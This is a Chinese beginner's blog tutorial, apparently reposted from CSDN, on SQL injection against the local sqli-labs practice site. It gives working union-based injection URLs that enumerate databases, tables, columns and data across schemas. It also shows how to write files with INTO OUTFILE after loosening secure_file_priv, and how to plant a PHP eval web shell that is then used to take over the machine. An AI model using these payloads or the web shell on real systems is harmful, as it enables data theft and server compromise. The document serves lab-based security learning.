网络安全菜鸟学习之漏洞篇——sql(三)

今天我们首先来学习一下跨库注入。
那么什么是跨库注入呢?我们先来看一张图。在这里插入图片描述
如图,当我们可以对网站A所对应的数据库A进行注入,且拥有数据库B、C的权限时,我们可以通过修改注入语句数据库B、C对进行注入。
好,现在我们来操作一下。(前面的步骤是一样的我就不再演示了,就从联合查询数据库开始演示)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata--+(用个group_concat()函数把所有拥有的数据库名得到)
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='teaching'--+(获取指定数据库名teaching下的表名信息)
在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='class' and table_schema='teaching'--+(获取指定表名class的列名信息)
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,classno,3 from teaching.class--+(获取指定数据)在这里插入图片描述
好的,我们学完了跨站注入,现在开始学习mysql文件操作注入。
在开始演示之前,我们需要开启secure-file-priv这个参数(该参数是用来限制MySQL当前能否进行导入导出操作的)。(一般情况下phpstudy把该参数默认为空的)
首先打开MYSQL命令行在这里插入图片描述
然后输入:show variables like ‘%secure%’
如果返回是NULL,那么需要手动开启。
在这里插入图片描述
手动开启方法:1.打开mysql-ini请添加图片描述
2.在[mysqld]中加:secure_file_priv="/"保存即可。(也可以参考这篇文章:https://www.cnblogs.com/Zh1z3ven/p/12512539.html)在这里插入图片描述
在开始前再提醒一点,不是所有磁盘地址我们都可以写入,这个和权限有关。
好了,现在我们开始操作
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select null,'123',null into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.txt' --+(在D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-1目录下添加一个名叫1.txt的文件,并将123写入其中。)
如图,注意看操作前后的变化。
操作前:在这里插入图片描述
操作:在这里插入图片描述

操作后:在这里插入图片描述
显然,这里多了一个文件。我们打开它会发现有两个\N,这是由于我们之前的地址中有两个null。如果我们写的是:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select '456','123','789' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.txt' --+则结果为456 123 789在这里插入图片描述
注:1.id=1会比id=-1前面多一行,多的一行是id=1的数据。也就是说union select 前后的数据流都发生了改变,主要是为什么页面上没有数据的原因。(id=1的结果如下图)在这里插入图片描述
2.\\是用前面的\转义后面的\如果不转义会报错。(如下图)在这里插入图片描述
好了,讲了这个我们来拓展一下。我们用这种方式来写入一个后门。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select null,'<?php @eval($_POST['123']); ?> ',null into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.php' --+
然后文件夹中就会有一个1.php的文件。
我们用蚁剑连接,发现连接成功我们有了整个电脑的权限。(蚁剑的使用和后门为什么这样写后面会讲。)
在这里插入图片描述
在这里插入图片描述
注:有人可能会问我是如何,知道磁盘地址的。这个是靠你自己前期的信息收集。我是靠以下的网址爆了库才发现的。输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select '456','123','789' into outfile '**\\1.txt' --+它说我们没有权限创建’D:\phpStudy\PHPTutorial\MySQL\data**\1.txt’通过这句话我们知道了在D盘用phpstudy搭建的,再一分析就知道了磁盘地址。当然一般实战中这种情况很少见,还是要通过前期大量的信息收集。在这里插入图片描述
(ps:求各位看官给点评论和关注)

猜你喜欢

转载自blog.csdn.net/gqzszzy/article/details/107914829
今日推荐